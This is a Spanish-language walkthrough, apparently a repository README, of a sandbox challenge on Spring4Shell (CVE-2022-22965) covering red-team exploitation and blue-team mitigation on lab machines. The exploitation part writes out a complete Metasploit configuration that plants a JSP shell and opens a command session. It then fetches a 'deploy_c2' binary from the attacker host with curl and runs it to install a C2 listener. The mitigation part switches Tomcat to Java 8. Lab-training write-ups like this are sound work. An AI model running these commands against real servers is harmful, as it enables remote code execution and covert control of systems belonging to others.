felisha-elmer/sandbox-challenge-spring4shell-cve-2022-22965-Guía paso a paso de la explotación de CVE-2022-22965 (Spring4Shell) con Metasploit, implementación de un listener C2 y mitigación de la vulnerabilidad mediante la degradación a Java 8 en un servidor Tomcat.
Este tutorial documenta la finalización del Desafío Sandbox centrado en CVE-2022-22965, comúnmente conocido como Spring4Shell — una vulnerabilidad crítica (CVSS 9.8/10) de ejecución remota de código que afecta versiones específicas del framework Spring Java. El desafío cubre tanto perspectivas ofensivas (equipo rojo) como defensivas (equipo azul) de la vulnerabilidad.
Nota: Los comandos y rutas de archivo en este tutorial reflejan el entorno específico utilizado durante este intento. Su entorno puede diferir — ajuste las rutas, direcciones IP y nombres de archivo según corresponda.
| Máquina | Dirección IP | Rol |
|---|
| Security-Desk (Kali Linux) | 172.16.200.12 | Máquina de ataque y trabajo |
| Red Target (Linux) | 172.16.100.90 | Objetivo de explotación |
| Blue Target (Linux) | 172.16.100.100 | Objetivo de endurecimiento |
Credenciales: playerone / password123
Revisé la pestaña Mapa de Red en el panel del desafío para confirmar la IP del Red Target (172.16.100.90). Usé curl para inspeccionar la aplicación web ejecutándose en el puerto 80:
curl http://172.16.100.90
La salida reveló Apache Tomcat 9.0.59 con una redirección a /dasmsp. Examiné el código fuente de la página para identificar un endpoint de formulario POST en /dasmsp/contact.
msfconsole
use exploit/multi/http/spring_framework_rce_spring4shell
set RHOSTS 172.16.100.90
set LHOST 172.16.200.12
set RPORT 80
set TARGETURI /dasmsp/contact
set PAYLOAD_PATH webapps/ROOT
set HTTP_METHOD POST
set ForceExploit true
run
El exploit generó exitosamente un shell JSP, modificó el cargador de clases, vació el archivo de registro y abrió una sesión de shell de comandos en el Red Target.
Después de que se abrió la sesión, ingresé shell para actualizar a un shell interactivo. Metasploit localizó /usr/bin/script en el objetivo y lo usó para lanzar un shell interactivo como el usuario tomcat.
El binario deploy_c2 estaba ubicado en Security-Desk, no en el Red Target. Lo alojé mediante un servidor HTTP Python3 en Security-Desk:
cd /home/playerone/Desktop/Resources/
python3 -m http.server 8080
Lo descargué y ejecuté desde la sesión de shell del Red Target:
curl http://172.16.200.12:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2
La salida confirmó: Done! — El listener C2 se desplegó exitosamente en el Red Target.
Desde la terminal de Security-Desk:
Contraseña: password123
Los paquetes .deb de Java 8 estaban ubicados en Security-Desk en /home/playerone/Desktop/Resources/. Los transferí al Blue Target usando SCP desde una terminal de Security-Desk:
scp /home/playerone/Desktop/Resources/*.deb [email protected]:/tmp/
Paquetes transferidos:
En la sesión SSH del Blue Target:
sudo dpkg -i /tmp/*.deb
Debido a un problema conocido del desafío, la verificación no se registra correctamente sin establecer manualmente Java 8 como predeterminado:
sudo update-alternatives --config java
Seleccioné la opción 2 — /usr/lib/jvm/temurin-8-jdk-amd64/bin/java.
Inspeccioné el archivo de unidad del servicio Tomcat:
cat /etc/systemd/system/tomcat.service
Edité el archivo para actualizar la variable de entorno JAVA_HOME:
sudo nano /etc/systemd/system/tomcat.service
Cambié:
Environment="JAVA_HOME=/usr"
A:
Environment="JAVA_HOME=/usr/lib/jvm/temurin-8-jdk-amd64"
sudo systemctl daemon-reload
sudo systemctl restart tomcat
La verificación de CVE-2022-22965 Mitigado en Blue Target se volvió verde en el panel del desafío.
spring_framework_rce_spring4shell module)